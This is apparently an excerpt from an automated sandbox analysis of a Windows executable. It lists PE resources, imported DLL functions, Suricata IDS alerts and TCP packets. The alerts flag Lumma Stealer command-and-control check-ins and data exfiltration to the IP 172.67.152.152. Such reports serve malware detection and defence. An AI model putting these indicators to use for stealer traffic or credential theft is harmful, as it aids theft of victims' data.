RT_MENU	0x12da50	0x32	data	Italian	Italy	0.96
RT_MENU	0x12da84	0x3a	data	Dutch	Netherlands	0.896551724137931
RT_MENU	0x12dac0	0x30	data	Portuguese	Portugal	0.8958333333333334
RT_MENU	0x12daf0	0x32	data			0.9
RT_MENU	0x12db24	0x4c	data			0.9210526315789473
RT_MENU	0x12db70	0x5a	data	German	Germany	0.7888888888888889
RT_MENU	0x12dbcc	0x4c	data	English	United States	0.9210526315789473
RT_MENU	0x12dc18	0x78	data	French	France	0.7833333333333333
RT_MENU	0x12dc90	0x54	data	Italian	Italy	0.8809523809523809
RT_MENU	0x12dce4	0x5e	data	Dutch	Netherlands	0.8297872340425532
RT_MENU	0x12dd44	0x60	data	Portuguese	Portugal	0.7916666666666666
RT_MENU	0x12dda4	0x54	data			0.8452380952380952
RT_DIALOG	0x12ddf8	0xd0	data			0.7163461538461539
RT_DIALOG	0x12dec8	0xea	data	German	Germany	0.6666666666666666
RT_DIALOG	0x12dfb4	0xd0	data	English	United States	0.7211538461538461
RT_DIALOG	0x12e084	0xf6	data	French	France	0.6829268292682927
RT_DIALOG	0x12e17c	0xe0	data	Italian	Italy	0.6830357142857143
RT_DIALOG	0x12e25c	0xd8	data	Dutch	Netherlands	0.6898148148148148
RT_DIALOG	0x12e334	0xec	data	Portuguese	Portugal	0.6991525423728814
RT_DIALOG	0x12e420	0xe8	data			0.6939655172413793
RT_DIALOG	0x12e508	0x3b4	data			0.4282700421940928
RT_DIALOG	0x12e8bc	0x3b4	data	German	Germany	0.4282700421940928
RT_DIALOG	0x12ec70	0x3b4	data	English	United States	0.4282700421940928
RT_DIALOG	0x12f024	0x3b4	data	French	France	0.4282700421940928
RT_DIALOG	0x12f3d8	0x3b4	data	Italian	Italy	0.4282700421940928
RT_DIALOG	0x12f78c	0x3b4	data	Dutch	Netherlands	0.4282700421940928
RT_DIALOG	0x12fb40	0x3b4	data	Portuguese	Portugal	0.4282700421940928
RT_DIALOG	0x12fef4	0x3b4	data			0.4282700421940928
RT_DIALOG	0x1302a8	0x19a	data			0.5658536585365853
RT_DIALOG	0x130444	0x1ac	data	German	Germany	0.5607476635514018
RT_DIALOG	0x1305f0	0x19a	data	English	United States	0.5658536585365853
RT_DIALOG	0x13078c	0x1a4	data	French	France	0.5571428571428572
RT_DIALOG	0x130930	0x19a	data	Italian	Italy	0.5658536585365853
RT_DIALOG	0x130acc	0x19a	data	Dutch	Netherlands	0.5658536585365853
RT_DIALOG	0x130c68	0x19a	data	Portuguese	Portugal	0.573170731707317
RT_DIALOG	0x130e04	0x19e	data			0.5603864734299517
RT_DIALOG	0x130fa4	0xf6	data			0.6747967479674797
RT_DIALOG	0x13109c	0x100	data	German	Germany	0.66796875
RT_DIALOG	0x13119c	0xf6	data	English	United States	0.6747967479674797
RT_DIALOG	0x131294	0x114	data	French	France	0.6413043478260869
RT_DIALOG	0x1313a8	0x10e	data	Italian	Italy	0.6592592592592592
RT_DIALOG	0x1314b8	0x10e	data	Dutch	Netherlands	0.6592592592592592
RT_DIALOG	0x1315c8	0x108	data	Portuguese	Portugal	0.6515151515151515
RT_DIALOG	0x1316d0	0x10a	data			0.650375939849624
RT_DIALOG	0x1317dc	0x1b4	data			0.5527522935779816
RT_DIALOG	0x131990	0x1dc	data	German	Germany	0.5357142857142857
RT_DIALOG	0x131b6c	0x1b4	data	English	United States	0.5527522935779816
RT_DIALOG	0x131d20	0x208	data	French	France	0.5346153846153846
RT_DIALOG	0x131f28	0x1cc	data	Italian	Italy	0.5347826086956522
RT_DIALOG	0x1320f4	0x1c8	data	Dutch	Netherlands	0.5570175438596491
RT_DIALOG	0x1322bc	0x1e4	data	Portuguese	Portugal	0.5495867768595041
RT_DIALOG	0x1324a0	0x1e0	data			0.5375
RT_DIALOG	0x132680	0x1a4	data			0.6071428571428571
RT_DIALOG	0x132824	0x1a4	data	German	Germany	0.6023809523809524
RT_DIALOG	0x1329c8	0x1a4	data	English	United States	0.6071428571428571
RT_DIALOG	0x132b6c	0x1c8	data	French	France	0.5855263157894737
RT_DIALOG	0x132d34	0x1c2	data	Italian	Italy	0.5866666666666667
RT_DIALOG	0x132ef8	0x1a0	data	Dutch	Netherlands	0.6033653846153846
RT_DIALOG	0x133098	0x1bc	data	Portuguese	Portugal	0.6058558558558559
RT_DIALOG	0x133254	0x1dc	data			0.5672268907563025
RT_DIALOG	0x133430	0xbc	data			0.6595744680851063
RT_DIALOG	0x1334ec	0xbc	data	German	Germany	0.6595744680851063
RT_DIALOG	0x1335a8	0xbc	data	English	United States	0.6648936170212766
RT_DIALOG	0x133664	0xbc	data	French	France	0.6595744680851063
RT_DIALOG	0x133720	0xbc	data	Italian	Italy	0.6595744680851063
RT_DIALOG	0x1337dc	0xbc	data	Dutch	Netherlands	0.6595744680851063
RT_DIALOG	0x133898	0xbc	data	Portuguese	Portugal	0.6595744680851063
RT_DIALOG	0x133954	0xbc	data			0.6595744680851063
RT_DIALOG	0x133a10	0x6c	data			0.7407407407407407
RT_DIALOG	0x133a7c	0x6c	data	German	Germany	0.7592592592592593
RT_DIALOG	0x133ae8	0x6c	data	English	United States	0.7407407407407407
RT_DIALOG	0x133b54	0x70	data	French	France	0.75
RT_DIALOG	0x133bc4	0x6e	data	Italian	Italy	0.7454545454545455
RT_DIALOG	0x133c34	0x70	data	Dutch	Netherlands	0.75
RT_DIALOG	0x133ca4	0x70	data	Portuguese	Portugal	0.7589285714285714
RT_DIALOG	0x133d14	0x70	data			0.7589285714285714
RT_DIALOG	0x133d84	0xa0	data			0.725
RT_DIALOG	0x133e24	0xa0	data	German	Germany	0.725
RT_DIALOG	0x133ec4	0x7c	data	English	United States	0.75
RT_DIALOG	0x133f40	0xa0	data	French	France	0.725
RT_DIALOG	0x133fe0	0xa0	data	Italian	Italy	0.725
RT_DIALOG	0x134080	0xa0	data	Dutch	Netherlands	0.725
RT_DIALOG	0x134120	0xa0	data	Portuguese	Portugal	0.725
RT_DIALOG	0x1341c0	0xa0	data			0.725
RT_STRING	0x134260	0x300	data			0.4036458333333333
RT_STRING	0x134560	0x3ba	data	German	Germany	0.38155136268343814
RT_STRING	0x13491c	0x300	data	English	United States	0.4036458333333333
RT_STRING	0x134c1c	0x408	data	French	France	0.35852713178294576
RT_STRING	0x135024	0x3ac	data	Italian	Italy	0.33404255319148934
RT_STRING	0x1353d0	0x32a	data	Dutch	Netherlands	0.391358024691358
RT_STRING	0x1356fc	0x3dc	data	Portuguese	Portugal	0.3765182186234818
RT_STRING	0x135ad8	0x362	data			0.37528868360277134
RT_STRING	0x135e3c	0x186	data			0.5025641025641026
RT_STRING	0x135fc4	0x208	data	German	Germany	0.46153846153846156
RT_STRING	0x1361cc	0x186	data	English	United States	0.5025641025641026
RT_STRING	0x136354	0x22c	data	French	France	0.4244604316546763
RT_STRING	0x136580	0x206	data	Italian	Italy	0.4498069498069498
RT_STRING	0x136788	0x1a8	data	Dutch	Netherlands	0.5
RT_STRING	0x136930	0x216	data	Portuguese	Portugal	0.45880149812734083
RT_STRING	0x136b48	0x1f0	data			0.4657258064516129
RT_STRING	0x136d38	0x1a0	data			0.5144230769230769
RT_STRING	0x136ed8	0x1be	data	German	Germany	0.5291479820627802
RT_STRING	0x137098	0x1a0	data	English	United States	0.5144230769230769
RT_STRING	0x137238	0x206	data	French	France	0.49613899613899615
RT_STRING	0x137440	0x1d4	data	Italian	Italy	0.5
RT_STRING	0x137614	0x1b6	data	Dutch	Netherlands	0.5182648401826484
RT_STRING	0x1377cc	0x1d8	data	Portuguese	Portugal	0.5233050847457628
RT_STRING	0x1379a4	0x1e8	data			0.5061475409836066
RT_STRING	0x137b8c	0x23c	data			0.458041958041958
RT_STRING	0x137dc8	0x2fc	data	German	Germany	0.38219895287958117
RT_STRING	0x1380c4	0x23c	data	English	United States	0.458041958041958
RT_STRING	0x138300	0x2fc	data	French	France	0.3992146596858639
RT_STRING	0x1385fc	0x2e8	data	Italian	Italy	0.3897849462365591
RT_STRING	0x1388e4	0x276	data	Dutch	Netherlands	0.43174603174603177
RT_STRING	0x138b5c	0x2cc	data	Portuguese	Portugal	0.42877094972067037
RT_STRING	0x138e28	0x2f8	data			0.3973684210526316
RT_STRING	0x139120	0x3d2	data			0.36912065439672803
RT_STRING	0x1394f4	0x440	data	German	Germany	0.37224264705882354
RT_STRING	0x139934	0x3d2	data	English	United States	0.36912065439672803
RT_STRING	0x139d08	0x4c2	data	French	France	0.33251231527093594
RT_STRING	0x13a1cc	0x4a8	data	Italian	Italy	0.3288590604026846
RT_STRING	0x13a674	0x468	data	Dutch	Netherlands	0.35638297872340424
RT_STRING	0x13aadc	0x4da	data	Portuguese	Portugal	0.3365539452495974
RT_STRING	0x13afb8	0x4fa	data			0.33124018838304553
RT_STRING	0x13b4b4	0x350	data			0.4339622641509434
RT_STRING	0x13b804	0x3f0	data	German	Germany	0.4107142857142857
RT_STRING	0x13bbf4	0x350	data	English	United States	0.4339622641509434
RT_STRING	0x13bf44	0x48e	data	French	France	0.3704974271012007
RT_STRING	0x13c3d4	0x412	data	Italian	Italy	0.4040307101727447
RT_STRING	0x13c7e8	0x408	data	Dutch	Netherlands	0.3875968992248062
RT_STRING	0x13cbf0	0x470	data	Portuguese	Portugal	0.38380281690140844
RT_STRING	0x13d060	0x42a	data			0.3818011257035647
RT_STRING	0x13d48c	0x55e	data			0.41120815138282385
RT_STRING	0x13d9ec	0x640	data	German	Germany	0.40625
RT_STRING	0x13e02c	0x55e	data	English	United States	0.41120815138282385
RT_STRING	0x13e58c	0x6ce	data	French	France	0.3719862227324914
RT_STRING	0x13ec5c	0x614	data	Italian	Italy	0.39524421593830333
RT_STRING	0x13f270	0x5c0	data	Dutch	Netherlands	0.40625
RT_STRING	0x13f830	0x61c	data	Portuguese	Portugal	0.4117647058823529
RT_STRING	0x13fe4c	0x69a	data			0.38402366863905324
RT_STRING	0x1404e8	0x660	data			0.2922794117647059
RT_STRING	0x140b48	0x720	data	German	Germany	0.3031798245614035
RT_STRING	0x141268	0x660	data	English	United States	0.2922794117647059
RT_STRING	0x1418c8	0x758	data	French	France	0.29148936170212764
RT_STRING	0x142020	0x660	data	Italian	Italy	0.2922794117647059
RT_STRING	0x142680	0x6b0	data	Dutch	Netherlands	0.29906542056074764
RT_STRING	0x142d30	0x662	data	Portuguese	Portugal	0.29253365973072215
RT_STRING	0x143394	0x73e	data			0.28047464940668826
RT_STRING	0x143ad4	0x146	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0			0.5214723926380368
RT_STRING	0x143c1c	0x146	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	German	Germany	0.5214723926380368
RT_STRING	0x143d64	0x146	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	English	United States	0.5214723926380368
RT_STRING	0x143eac	0x146	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	French	France	0.5214723926380368
RT_STRING	0x143ff4	0x146	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	Italian	Italy	0.5214723926380368
RT_STRING	0x14413c	0x146	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	Dutch	Netherlands	0.5214723926380368
RT_STRING	0x144284	0x146	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	Portuguese	Portugal	0.5214723926380368
RT_STRING	0x1443cc	0x146	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0			0.5214723926380368
RT_RCDATA	0x144514	0x3	ASCII text, with no line terminators			3.6666666666666665
RT_RCDATA	0x144518	0x3	ASCII text, with no line terminators	German	Germany	3.6666666666666665
RT_RCDATA	0x14451c	0x3	ASCII text, with no line terminators	English	United States	3.6666666666666665
RT_RCDATA	0x144520	0x3	ASCII text, with no line terminators	French	France	3.6666666666666665
RT_RCDATA	0x144524	0x3	ASCII text, with no line terminators	Italian	Italy	3.6666666666666665
RT_RCDATA	0x144528	0x3	ASCII text, with no line terminators	Dutch	Netherlands	3.6666666666666665
RT_RCDATA	0x14452c	0x3	ASCII text, with no line terminators	Portuguese	Portugal	3.6666666666666665
RT_RCDATA	0x144530	0x3	ASCII text, with no line terminators			3.6666666666666665
RT_RCDATA	0x144534	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel			0.31384732437230534
RT_RCDATA	0x146404	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	German	Germany	0.31384732437230534
RT_RCDATA	0x1482d4	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	English	United States	0.31384732437230534
RT_RCDATA	0x14a1a4	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	French	France	0.31384732437230534
RT_RCDATA	0x14c074	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	Italian	Italy	0.31384732437230534
RT_RCDATA	0x14df44	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	Dutch	Netherlands	0.31384732437230534
RT_RCDATA	0x14fe14	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	Portuguese	Portugal	0.31384732437230534
RT_RCDATA	0x151ce4	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel			0.31384732437230534
RT_RCDATA	0x153bb4	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel			0.29736241440527517
RT_RCDATA	0x155a84	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	German	Germany	0.29736241440527517
RT_RCDATA	0x157954	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	English	United States	0.29736241440527517
RT_RCDATA	0x159824	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	French	France	0.29736241440527517
RT_RCDATA	0x15b6f4	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	Italian	Italy	0.29736241440527517
RT_RCDATA	0x15d5c4	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	Dutch	Netherlands	0.29736241440527517
RT_RCDATA	0x15f494	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	Portuguese	Portugal	0.29736241440527517
RT_RCDATA	0x161364	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel			0.29736241440527517
RT_RCDATA	0x163234	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel			0.35011412629977173
RT_RCDATA	0x165104	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	German	Germany	0.35011412629977173
RT_RCDATA	0x166fd4	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	English	United States	0.35011412629977173
RT_RCDATA	0x168ea4	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	French	France	0.35011412629977173
RT_RCDATA	0x16ad74	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	Italian	Italy	0.35011412629977173
RT_RCDATA	0x16cc44	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	Dutch	Netherlands	0.35011412629977173
RT_RCDATA	0x16eb14	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel	Portuguese	Portugal	0.35011412629977173
RT_RCDATA	0x1709e4	0x1ece	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel			0.35011412629977173
RT_RCDATA	0x1728b4	0x276	ASCII text, with CRLF line terminators	English	United States	0.3682539682539683
RT_RCDATA	0x172b2c	0x140	ASCII text	English	United States	0.553125
RT_RCDATA	0x172c6c	0x119	ASCII text	English	United States	0.5587188612099644
RT_RCDATA	0x172d88	0x96	ASCII text	English	United States	0.6333333333333333
RT_RCDATA	0x172e20	0xbd	ASCII text	English	United States	0.6402116402116402
RT_GROUP_ICON	0x172ee0	0x4c	data			0.8026315789473685
RT_GROUP_ICON	0x172f2c	0x4c	data	German	Germany	0.8026315789473685
RT_GROUP_ICON	0x172f78	0x4c	data	English	United States	0.8026315789473685
RT_GROUP_ICON	0x172fc4	0x4c	data	French	France	0.8026315789473685
RT_GROUP_ICON	0x173010	0x4c	data	Italian	Italy	0.8026315789473685
RT_GROUP_ICON	0x17305c	0x4c	data	Dutch	Netherlands	0.8026315789473685
RT_GROUP_ICON	0x1730a8	0x4c	data	Portuguese	Portugal	0.8026315789473685
RT_GROUP_ICON	0x1730f4	0x4c	data			0.8026315789473685
RT_VERSION	0x173140	0x30c	data			0.4346153846153846
RT_VERSION	0x17344c	0x30c	data	German	Germany	0.43974358974358974
RT_VERSION	0x173758	0x30c	data	English	United States	0.4371794871794872
RT_VERSION	0x173a64	0x30c	data	French	France	0.4371794871794872
RT_VERSION	0x173d70	0x30c	data	Italian	Italy	0.43846153846153846
RT_VERSION	0x17407c	0x30c	data	Dutch	Netherlands	0.43974358974358974
RT_VERSION	0x174388	0x30c	data	Portuguese	Portugal	0.4423076923076923
RT_VERSION	0x174694	0x30c	data			0.43846153846153846
RT_MANIFEST	0x1749a0	0x7a5	XML 1.0 document, ASCII text, with CRLF line terminators			0.4036791006642821
RT_MANIFEST	0x175148	0x7a5	XML 1.0 document, ASCII text, with CRLF line terminators	German	Germany	0.4036791006642821
RT_MANIFEST	0x1758f0	0x7a5	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4036791006642821
RT_MANIFEST	0x176098	0x7a5	XML 1.0 document, ASCII text, with CRLF line terminators	French	France	0.4036791006642821
RT_MANIFEST	0x176840	0x7a5	XML 1.0 document, ASCII text, with CRLF line terminators	Italian	Italy	0.4036791006642821
RT_MANIFEST	0x176fe8	0x7a5	XML 1.0 document, ASCII text, with CRLF line terminators	Dutch	Netherlands	0.4036791006642821
RT_MANIFEST	0x177790	0x7a5	XML 1.0 document, ASCII text, with CRLF line terminators	Portuguese	Portugal	0.4036791006642821
RT_MANIFEST	0x177f38	0x7a5	XML 1.0 document, ASCII text, with CRLF line terminators			0.4036791006642821

Imports

DLL	Import
VERSION.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
WININET.dll	HttpSendRequestW, InternetCrackUrlW, InternetCreateUrlW, InternetCloseHandle, InternetSetStatusCallbackW, InternetSetOptionW, InternetOpenW, InternetGetLastResponseInfoW, InternetReadFile, InternetQueryDataAvailable, FtpGetFileSize, InternetQueryOptionW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, InternetErrorDlg, FtpCommandW, FtpOpenFileW
msi.dll
CRYPT32.dll	CertNameToStrW, CertFreeCertificateContext
MPR.dll	WNetAddConnection2W
KERNEL32.dll	GetConsoleOutputCP, GetFileType, GetConsoleMode, SetFilePointerEx, GetFileSizeEx, LCMapStringW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, CopyFileExW, GetLastError, FileTimeToSystemTime, SystemTimeToFileTime, CompareFileTime, DeleteFileW, MoveFileW, CopyFileW, CreateFileW, CloseHandle, HeapDestroy, HeapSize, HeapReAlloc, HeapFree, HeapAlloc, GetProcessHeap, SizeofResource, LockResource, LoadResource, FindResourceW, FindResourceExW, ReadFile, WideCharToMultiByte, FindClose, GetSystemTime, FindFirstFileW, RemoveDirectoryW, FindNextFileW, GetFileSize, CreateDirectoryW, SetFileAttributesW, GetFileTime, WriteFile, SetFilePointer, SetFileTime, LoadLibraryW, GetProcAddress, GetTempPathW, GetTempFileNameW, GetModuleHandleW, GetSystemDirectoryW, LoadLibraryExW, CreateToolhelp32Snapshot, Process32FirstW, OpenProcess, Process32NextW, GetCurrentProcessId, GetCurrentProcess, GetExitCodeProcess, WaitForSingleObject, TerminateProcess, FindFirstFileExW, FreeLibrary, Sleep, RaiseException, LocalFree, GetTickCount, LocalAlloc, GetUserDefaultUILanguage, FileTimeToLocalFileTime, GetDateFormatW, GetTimeFormatW, GetLocaleInfoW, CreateProcessW, MultiByteToWideChar, FormatMessageW, SetLastError, GetEnvironmentVariableW, GetModuleFileNameW, DeleteCriticalSection, InitializeCriticalSectionEx, lstrcmpiW, VerifyVersionInfoW, VerSetConditionMask, lstrlenW, CompareStringW, GetExitCodeThread, TerminateThread, CreateThread, Wow64DisableWow64FsRedirection, Wow64RevertWow64FsRedirection, EnterCriticalSection, InitializeCriticalSection, LeaveCriticalSection, OutputDebugStringW, GetCurrentThreadId, GetLocalTime, FlushFileBuffers, GetStringTypeW, ResetEvent, CreateEventW, SetEvent, GlobalFree, MulDiv, QueryPerformanceFrequency, QueryPerformanceCounter, GetSystemDefaultLangID, GetPrivateProfileStringW, GetPrivateProfileSectionNamesW, WritePrivateProfileStringW, UnmapViewOfFile, ReleaseMutex, CreateFileMappingW, MapViewOfFile, CreateMutexW, OpenFileMappingW, OpenEventW, lstrcpynW, DecodePointer, GetACP, QueryFullProcessImageNameW, IsValidCodePage, VirtualFree, VirtualAlloc, IsProcessorFeaturePresent, FlushInstructionCache, InterlockedPushEntrySList, InterlockedPopEntrySList, InitializeSListHead, EncodePointer, IsDebuggerPresent, LoadLibraryExA, VirtualQuery, GetOEMCP, VirtualProtect, GetSystemInfo, LCMapStringEx, CompareStringEx, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, ReadConsoleW, WriteConsoleW, SetEndOfFile, GetStdHandle, GetModuleHandleExW, ExitProcess, TlsFree, InitializeCriticalSectionAndSpinCount, WaitForSingleObjectEx, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetSystemTimeAsFileTime, RtlUnwind, TlsAlloc, TlsGetValue, TlsSetValue
USER32.dll	GetSubMenu, LoadMenuW, ModifyMenuW, GetMessagePos, SetCursorPos, RemovePropW, SetPropW, GetWindowDC, DrawEdge, GetActiveWindow, LookupIconIdFromDirectoryEx, CreateIconFromResourceEx, DialogBoxParamW, MoveWindow, GetSystemMenu, DrawMenuBar, RegisterWindowMessageW, PostQuitMessage, SetMenuDefaultItem, GetMenuItemID, GetPropW, MonitorFromPoint, GetWindow, ShowWindow, IsWindowVisible, SetForegroundWindow, MessageBoxW, GetDlgCtrlID, FillRect, TrackMouseEvent, DestroyWindow, EndPaint, BeginPaint, SetCursor, RegisterClassExW, TrackPopupMenu, KillTimer, SetTimer, GetDesktopWindow, PostThreadMessageW, EndDialog, GetDlgItem, MonitorFromWindow, GetMonitorInfoW, GetWindowRect, EnableMenuItem, SetFocus, ReleaseCapture, GetCapture, PtInRect, ScreenToClient, GetCursorPos, UpdateWindow, InvalidateRect, CharNextW, OffsetRect, ReleaseDC, IsWindow, SetRectEmpty, GetWindowTextW, GetWindowTextLengthW, CreateWindowExW, SystemParametersInfoW, LoadCursorW, GetClassNameW, GetClientRect, DrawFocusRect, GetFocus, DrawTextW, GetSysColor, IsWindowEnabled, RedrawWindow, MapWindowPoints, DestroyMenu, LockWindowUpdate, CreateDialogParamW, GetMessageW, PostMessageW, GetClassInfoExW, SetWindowPos, UnregisterClassW, CallWindowProcW, DefWindowProcW, SetWindowLongW, GetSystemMetrics, LoadImageW, DispatchMessageW, EnableWindow, SetCapture, TranslateMessage, PeekMessageW, SetWindowTextW, LoadStringW, GetParent, SendMessageW, GetDC, GetWindowLongW, GetWindowThreadProcessId, EnumWindows, GetForegroundWindow
GDI32.dll	CreateBitmap, DeleteObject, CreateFontIndirectW, GetObjectW, PatBlt, GetStockObject, SelectObject, SetTextColor, DeleteDC, SetBkMode, GetDeviceCaps, CreatePatternBrush
SHELL32.dll	Shell_NotifyIconW, ShellExecuteW, ShellExecuteExW, SHGetMalloc, SHGetPathFromIDListW, SHGetSpecialFolderLocation, SHGetFolderPathW, SHBrowseForFolderW
ole32.dll	CoInitializeEx, CoTaskMemAlloc, CoUninitialize, CoCreateInstance, CoTaskMemFree, CoRevokeClassObject, CoRegisterClassObject, CoAddRefServerProcess, CoReleaseServerProcess, CLSIDFromString, CoResumeClassObjects, CoCreateGuid, CoTaskMemRealloc
OLEAUT32.dll	RevokeActiveObject, DispGetIDsOfNames, SysAllocString, LoadTypeLib, VarUI4FromStr, SysFreeString, DispInvoke
SHLWAPI.dll	PathIsUNCW, PathFileExistsW, PathAppendW
COMCTL32.dll	DestroyPropertySheetPage, InitCommonControlsEx, CreatePropertySheetPageW, PropertySheetW
UxTheme.dll	IsAppThemed, EnableThemeDialogTexture

Possible Origin

Language of compilation system	Country where language is spoken	Map
German	Germany
English	United States
French	France
Italian	Italy
Dutch	Netherlands
Portuguese	Portugal

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T20:33:12.035929+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	172.67.152.152	443	TCP
2024-12-27T20:33:12.904109+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	172.67.152.152	443	TCP
2024-12-27T20:33:12.904109+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	172.67.152.152	443	TCP
2024-12-27T20:33:14.220403+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.152.152	443	TCP
2024-12-27T20:33:15.007029+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	172.67.152.152	443	TCP
2024-12-27T20:33:15.007029+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.152.152	443	TCP
2024-12-27T20:33:16.404331+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	172.67.152.152	443	TCP
2024-12-27T20:33:18.742370+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.152.152	443	TCP
2024-12-27T20:33:21.531115+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.152.152	443	TCP
2024-12-27T20:33:24.604708+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	172.67.152.152	443	TCP
2024-12-27T20:33:25.706874+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49737	172.67.152.152	443	TCP
2024-12-27T20:33:27.228932+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	172.67.152.152	443	TCP
2024-12-27T20:33:29.366244+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	172.67.152.152	443	TCP
2024-12-27T20:34:02.407142+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	172.67.152.152	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 20:33:10.774122000 CET	49730	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:10.774152040 CET	443	49730	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:10.774226904 CET	49730	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:10.777128935 CET	49730	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:10.777137041 CET	443	49730	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:12.035756111 CET	443	49730	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:12.035928965 CET	49730	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:12.038999081 CET	49730	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:12.039005041 CET	443	49730	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:12.039211035 CET	443	49730	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:12.082880020 CET	49730	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:12.161958933 CET	49730	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:12.162020922 CET	49730	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:12.162045956 CET	443	49730	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:12.904126883 CET	443	49730	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:12.904200077 CET	443	49730	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:12.904278994 CET	49730	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:12.906214952 CET	49730	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:12.906225920 CET	443	49730	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:12.914891005 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:12.914951086 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:12.915061951 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:12.915333033 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:12.915353060 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:14.220263004 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:14.220402956 CET	49731	443	192.168.2.4	172.67.152.152
